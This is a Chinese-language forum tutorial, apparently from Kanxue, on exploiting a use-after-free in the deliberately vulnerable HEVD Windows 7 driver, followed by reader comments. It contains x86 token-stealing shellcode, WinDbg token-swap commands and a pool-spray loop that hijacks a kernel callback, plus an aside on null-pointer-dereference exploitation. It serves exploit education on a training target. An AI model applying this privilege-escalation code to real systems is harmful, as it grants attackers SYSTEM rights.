首页
论坛
专栏
课程

Windows 内核系列一: UAF基础

wjllz 2018-9-26 20:34 2041

0x00: 前言

这是UAF系列的第一篇. 三篇的主要内容如下.

[+] 第一篇: HEVD给的样例熟悉UAF
[+] 第二篇: CVE-unknown的总结(这个地方有点记混了 月初的工作... 凭感觉记得.. sorry)
[+] 第三篇: windows 10 X64下的UAF

关于第三篇的内容我还没有决定好, 最近在研究CVE-2018-8410, 如果分析的出来的话. 第三篇的内容我会给出CVE-2018-8410的分析报告. 如果失败的话, 我会挑选一下windows 10下的X64的UAF进行分析. 由于win10加了很多缓解措施, 所以那会是一个相当有趣的过程.

 

博客的内容我是倒着推的, 因为我喜欢有目的性的工作. 所以决定在最后再进行漏洞原理的分析。而原理的探讨主要是通过对补丁的探讨而完成.

 

在学习的过程中, 我给出了实验相应步骤的动态图. 希望能对您有所帮助.

0x01: 实验环境的搭建

由于是系列的第一节, 所以讲一下环境的搭建, 在经过漫长的犹豫之后, 我决定把环境的搭建制作成为一个gif图, 因为觉得动态的过程更容易理解一些.

Tips: 本次环境的搭建环境. 仅在win7上面适用. win10(win 8 以后) 下因为驱动签名的问题会有一些小小的不同, 后面会给出win10的教程.

 

下面是对环境搭建步骤详解.

1.1 环境要求

[+] 配置支持

调试宿主机: windows 10 X64
目标机子: windows 7 sp1 x86
调试器: windbgx.exe
辅助工具: virtuakD

1.2 第一步

把virtualKD解压到宿主调试机C:\SoftWare, 将宿主机C:/software/target目录复制到target机子C:\下. 最终结果如下:

1.3 第二步

打开target机器下的C:\target\vminstall.exe 点击yes. 电脑重启

1.4 第三步

设置Vmcommon的调试器路径

1.5 第四步

开始调试.

0x02: 漏洞利用

2.1: 思路详解.

在我自己的学习过程中, 我喜欢把自己学的东西切成几大块, 假设为ABCD四个大块, 在B无法理解的情况下, 我能够去弄明白ACD就好.这样即使无法完成此次学习, 我也能保证能在此次的学习过程中得到有用的技能.

 

让我们来假设一下作为一个对UAF不理解的小白我们会把漏洞的利用过程切为那几个部分.

[+] 编写shellcode(最终目的是为了运行shellcode)        
[+] 分析漏洞                        
[+] 根据漏洞原理, 伪造能够利用的数据(最终的结果是可以利用shellcode).
[+] 触发漏洞
[+] 运行cmd, 验证提权是否成功.

在进行上面的分析之后, 我们可以先做一些比较轻松的部分.

[+] 运行cmd进行验证.
[+] 编写Shellcode

2.2: 运行cmd进行验证.

我相信有部分开始做内核的朋友可能会比较好奇为什么最后运行cmd, 输入whoami之后, 就能证明自己提权成功了, 很不幸的, 这是一段漫长的故事. 其实也还是很简单的. 原理如下.

[+] 我们运行了exp, exp记作进程A
[+] EXP里面创建一个cmd子进程, 记作子进程B
[+] 子进程会默认继承父进程的权限
[+] 父进程提权成功, 可以在子进程体现.(类似于老子帅不帅可以从儿子那里得到相应的推测)

2.2.1: 编写创建cmd子进程程序.

这一部分的代码感谢小刀师傅, 来源于他的博客和github. 在他的博客和github上面我学习到了很多的有用的东西.

//创建cmd子进程的代码.
static
VOID xxCreateCmdLineProcess(VOID)
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); // 创建cmd子进程
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

很多时候, 我觉得有些细节其实是可以不用太在意的. 你可以帮他当作拖油瓶, 只是附带的产物, 比如上面的si的赋值之类的. 让我们关注一下重点函数.

2.2.2: CreateProcessW函数

CreateProcessW创建一个子进程, 在MSDN上面你可以的到详细的解释. 我们列出重要参数的详细解释.

[+] wzFilePath --> 创建的进程名称, cmd

2.2.2: 调用cmd子进程

我们在main函数当中进行调用. main函数现在的代码如下.

// main函数的代码.
int main()
{
    xxCreateCmdLineProcess();    //调用cmd
    return 0;
}

2.2.3: 运行的结果

运行的结果如下图.

 

 

我们发现我们现在的提权没有成功, 这是肯定的. 因为我们并没有进行漏洞的利用.

2.3: 编写shellcode的代码

作为一个有灵魂的内核选手, 这个地方的shellcode我们当然采用汇编编写. 编写之前, 我们继续对我们所学的东西进行分块.

[+] ShellCode目的: 进行提权
[+] 提权手段: 将system进程的Token赋值给cmd
[+] 提权的汇编步骤:
    ==> 找到system的Token, 记作TokenSys
    ==> 找到cmd的Token. 记作TokenCmd
    ==> 实现TokenCmd = TokenSys

2.3.1: ShellCode提权方法的验证.

okok, 作为一个内核选手, 我们深知调试器永远不会骗人. 所以我们可以通过调试器来帮助我们验证一下我们的思路是否正确.

2.3.1.0: 找到System进程的TokenSys

运行如下命令:

!dml_proc

我们能得到关于system如下的结果.

kd> !dml_proc
    Address  PID  Image file name
    857bd920 4    System         
    86357a10 120  smss.exe       
    86385030 178  csrss.exe      
    86be3b90 1ac  wininit.exe    
    863e4b68 1b4  csrss.exe      
    873f1d40 1d8  winlogon.exe   
    ...

解释:

PID:0004 --> system在win7下PID永远为4
PROCESS: 857bd920 -- 进程起始的地址.

接着我们运行如下的命令, 查看system进程的Token.

kd> dt nt!_EX_FAST_REF 857bd920 +f8
        +0x000 Object           : 0x8940126f Void
        +0x000 RefCnt           : 0y111
        +0x000 Value            : 0x8940126f -- value是Token的值.
2.3.1.1: 找到cmd进程的TokenCmd

与找到TokenSys的方法类似, 在虚拟机里面运行一个cmd. 我们可以通过相同的方式找到TokenCmd

kd> dt nt!_EX_FAST_REF 871db030 +f8
    +0x000 Object           : 0x967ee085 Void
    +0x000 RefCnt           : 0y101
    +0x000 Value            : 0x967ee085 -- value是Token的值.
2.3.1.2: 进行TokenCmd = TokenSys.

这一部分, 我们采用调试器辅助完成. Token存放在进程偏移f8处, 我们可以把TokenCmd按照如下的命令重新赋值.

ed 871db030+f8(TokenCmd的存放地址) 8940126f(TokenSys)

此时我们再对cmd的Token进行解析. 发现Token的值已经和Sytem的Token出奇一致.

kd> dt nt!_EX_FAST_REF 871db030 +f8
    +0x000 Object           : 0x8940126f Void
    +0x000 RefCnt           : 0y111
    +0x000 Value            : 0x8940126f

此时我们运行cmd的whoami, 进行验证. 这个实验过程动态图如下.

 

2.3.2: 提权的汇编实现.

汇编实现的整体代码如下. 关键点我会给出注释, 如果你需要更详细的解释, 你可以在这里找到答案. (Tips: 汇编代码只是对我们上面手工做的过程的一次模仿. 别畏惧它)

// 提权的汇编代码.
void ShellCode()
{
    _asm 
    {
        nop
        nop
        nop
        nop
        pushad
        mov eax,fs:[124h]
        mov eax, [eax + 0x50]    // 找到_EPROOCESS
        mov ecx, eax
        mov edx, 4    // edx = system PID

        // 循环是为了获取system的_EPROCESS
    find_sys_pid:
        mov eax, [eax + 0xb8]
        sub eax, 0xb8    // 链表遍历
        cmp [eax + 0xb4], edx    // 根据PID判断是否为SYSTEM
        jnz find_sys_pid

        // 替换Token
        mov edx, [eax + 0xf8]
        mov [ecx + 0xf8], edx
        popad
        ret
    }
}

一点小Tips:

[+] ShellCode的原理其实不用太了解, 大多数时候你可以把它当作stdio.h提供给你的printf函数, 直接用就好
[+] 堆栈的平衡建议采用调试解决.

2.3.3: ShellCode的有效性的验证.

调试器无所不能(但是不能帮我找到女朋友...), 我们想要运行shellcode, 如何运行???.

 

在阅读了源码之后, 我们发现了一个幸福的代码片段.

if (g_UseAfterFreeObject->Callback) {
            g_UseAfterFreeObject->Callback();
        }

g_UseAfterFreeObject是一个全局变量, 他的定义如下.

PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
typedef struct _USE_AFTER_FREE {
    FunctionPointer Callback;
    CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;

有趣, 如果我们能够篡改他的函数指针指向ShellCode地址. 那么我们就能在内核当中调用我们的shellcode. 接下来做一个小小的演示

 

Tips:

这一部分有些小小的东西需要后面的东西. 请关注篡改函数指针. 其他的内容不会的假装自己会, 看了后面的再来理解前面的.

在未篡改之前, g_UseAfterFreeObject的结构长这样.

    dt HEVD!g_UseAfterFreeObject
0x877deb58 
   +0x000 Callback         : 0x87815558     void  +ffffffff87815558
   +0x004 Buffer           : [84] 

在进行了一堆骚操作之后(我们后面的主要内容就是为了讲解这个地方的骚操作).

 

g_UseAfterFreeObject的结构长这样.

dt HEVD!g_UseAfterFreeObject
0x877deb58
   +0x000 Callback         : 0x001f1000     void  UAF_AFTER_FREE_EXP!ShellCode+0
   +0x004 Buffer           : [84]  "

这样的话, 我们就能够运行shellcode了, 提权成功如图.

 

ok

2.4: 执行一堆骚操作.

我们前面说过, 后面的内容主要是一堆骚操作. 来执行替换g_UseAfterFree函数指针的功能.

2.4.1: 伪造能够利用的数据

USE AFTER FREE, 从这个名字来看是指在FREE状态后依然能够被使用. 有趣有趣. 那我们来关注一下FREE状态之后如何使用.

 

在我们从小到大的过程中. 我们知道POOL是动态分配的, 就像你永远不知道明天的巧克力是什么味道一样(当然作为一个单身狗, 明天也是没有巧克力的, 太凄凉了). 你永远也不知道下一块分配的POOL在那个位置.

 

Wait, 我们真的不知道吗??? 如果你有兴趣你可以在此处的paper找到相应的POOL分配和释放算法的相关解释. 在这里我直接给出结论.

[+] 假设想要被分配的POOL的大小是258. 操作系统会去选取最适合258(>=)的空闲POOL位置来存放他.

我们来看一下我们的UAF(假设已经成功)POOL的大小. 我们申请一个和他一模一样的POOL. 是不是有一定的概率使我们分配后的POOL的刚好是这个地方呢. 答案是肯定的. 但是有一个问题. 一定的概率. 我们希望我们的利用代码能够更加的稳定. 假设此时操作一共有X个大小的空闲区域. 我们的概率是1/X, 分配两个是2/X, 不断增加.

[+] n/X -- n是我们请求分配的POOL个数.

最终我们的代码如下.

// 构造美好的数据
PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');

// 喷射
for (int i = 0; i < 5000; i++)
{
    // 此处的函数用于Pool的分配.
    DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}

2.4.2: 漏洞成因分析(为什么在那个时候我们处于Free状态).

我们到这里其实利用就已经做完了, 但是永远别忘记一件事, 这只是一个练习. 与真正的漏洞分析差的远. 所以我们学的应该不是教程, 而是这一段在实践当中可以帮助我们做些什么.

 

漏洞成因的分析在我实践的过程中. 有两种手段.

[+] 查阅漏洞发现者的给出的相关资料
[+] 查阅其他人做的分析笔记
[+] 阅读POC
[+] 补丁比对

这个地方我们来模拟补丁比对. 实战当中你可以使用bindiff, 为了让接下来的过程更加的简单. 我们采用源码分析.

#ifdef SECURE
        // Secure Note: This is secure because the developer is setting
        // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
        ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

        g_UseAfterFreeObject = NULL;
#else
        // Vulnerability Note: This is a vanilla Use After Free vulnerability
        // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
        // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
        // (dangling pointer)
        ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif

在这个地方, 安全与不安全的主要理由是g_UseAfterFreeObject最后是否为NULL.

漏洞点: 如果不把它变为NULL, 后续可以继续应用.

这个地方有一个小小的问题, 在下一节我们给出我们的套路.

0x3 总结.

3.1: 补丁的探讨.

我们来对安全的版本进行一点小小的讨论.

[+] g_UseAfterFreeObject = NULL
[+] if(g_UseAfterFreeObject->CallBack) ==> if(NULL->CallBack) ==> if(0->CallBack)

随着思路的推理, 我们的嘴角逐渐浮现出笑容. windows 7 下, 我们可以对申请0地址, 并且填充相应的内容. 假设shellcode地址为0x00410000. 我们通过对0地址进行填充内容.

00000000: 00410000 --> 指向shellcode地址

我们也能顺利执行我们的shellcode. ==> 此处引发了一个空指针解引用漏洞.

 

OK, 我们验证了这是一个不安全的补丁. 更安全的补丁应该类似于这样

if(g_UseAfterFreeObject != NULL)
{
    if(g_UseAfterFreeObject->CallBack)
    {
        g_UseAfterFreeObject->CallBack();
    }
}

很遗憾的, 当我发现这个的时候, 发现创作者已经做了这样一个检测,,,,,

3.2: 关于挖洞的探讨.

在进行这次学习之后, 我有一个小小的猜测. 是否存在可能性, 安全人员在进行uaf漏洞补丁的时候. 忽视了空指针解引用呢.

 

自己思考的比较简陋的方式:

[+] 补充最新的补丁.
[+] 阅读更新报告, 确定漏洞集
[+] 编写IDAPy, 完成如下的功能.
    ==> 检索汇编代码. 确定搜选补丁函数当中的CMP个数.(如果小于2, 可以做重点分析)
    ==> 检索汇编代码, 确定相邻8 byte - 16byte范围(这个范围需要具体研究.). 是否同时存在两个CMP

3.3: UAF漏洞利用的套路总结.

[+] 原理: 分配的POOL为赋值为NULL, 导致后面可用.
[+] 触发漏洞
[+] 伪造数据(依赖于伪造数据实现shellcode运行)
[+] 调用相关的函数进行堆喷射
[+] CMD验证

3.4: 实验结果验证

0x4: 相关链接.

sakura师傅的博客: http://eternalsakura13.com/

 

小刀师傅的博客: https://xiaodaozhi.com/

 

本文EXP地址: https://github.com/redogwu/blog_exp_win_kernel/blob/master/kernel_uaf_1.cpp

 

一个大大的博客: https://rootkits.xyz/

 

shellcode编写: https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/

0x5: 后记

最后, wjllz是人间大笨蛋.



[防守篇]2018看雪.TSRC CTF 挑战赛(团队赛)11月1日征题开启!

最后于 2018-9-29 18:56 被wjllz编辑 ,原因:
本主题帖已收到 1 次赞赏,累计¥2.00
最新回复 (26)
wyfe 2018-9-26 21:41
2

0

期待第2、3篇!
kanxue 8 2018-9-26 21:53
3

0

编辑了一下你的帖子,将图片上传到论坛本地了。放外链,容易失效,所以,建议大家图片都上传到论坛本地。

上传方法见下图:

wjllz 3 2018-9-26 22:17
4

0

kanxue 编辑了一下你的帖子,将图片上传到论坛本地了。放外链,容易失效,所以,建议大家图片都上传到论坛本地。上传方法见下图:
谢谢老师, 我下次会注意的
wjllz 3 2018-9-26 22:18
5

0

wyfe 期待第2、3篇!
谢谢你支持 只是不能太赶进度, 太快了可能就不是我自己当时的思路了...
niuzuoquan 2018-9-26 22:48
6

0

期待,图文并茂
wjllz 3 2018-9-26 22:50
7

0

niuzuoquan 期待,图文并茂
多谢, 可能会有一些笔误. 我做完第二篇的时候做一些调整.. 欢迎指正
netwind 13 2018-9-26 23:16
8

0

不错 
wjllz 3 2018-9-27 00:57
9

0

netwind 不错
谢谢老师
junkboy 2018-9-27 06:52
10

0

支持
holing 12 2018-9-27 08:46
11

0

太强了,Windows内核大佬
fengyunabc 1 2018-9-27 09:48
12

0

感谢分享!
呼噜 2018-9-27 10:21
13

0

tql,期待后续系列
ZwTrojan 2018-9-28 20:05
14

0

那个黑色的Windbg在哪搞到的?
leeqwind 2018-9-28 21:21
15

0

赞~~~
Keoyo 2 2018-9-28 22:12
16

0

学习了,感谢楼主分享,期待后面的内容
wjllz 3 2018-9-28 23:19
17

0

谢谢各位师傅
wjllz 3 2018-9-28 23:21
18

0

ZwTrojan 那个黑色的Windbg在哪搞到的?
那个要在win10下面下载 但是win7也可以用.
最后于 2018-9-29 20:36 被wjllz编辑 ,原因:
YP星星 2018-9-29 11:15
19

0

很受用,非常感谢分享
风中的疯lx 2018-9-29 17:11
20

0

原来找女朋友比内核还难
yllen 2018-9-29 18:22
21

0

我闻到了妹子的味道
wx_Gorden 2018-9-29 18:42
22

0


tql! 学习学习
wx_Gorden 2018-9-29 18:44
23

0

期待后面的内容 QvQ
wjllz 3 2018-9-29 18:56
24

0

更新了一下exp和一些笔误... sorry...
wx_sakura_884665 2018-9-29 19:19
25

0

yllen 我闻到了妹子的味道
然而是男孩子。
sakura零 4 2018-9-29 19:20
26

0

yllen 我闻到了妹子的味道
然而是男孩子
ZwTrojan 2018-9-30 17:06
27

0

wjllz ZwTrojan 那个黑色的Windbg在哪搞到的? 那个要在win10下面下载&nbsp;但是win7也可以用.
有下载链接吗
返回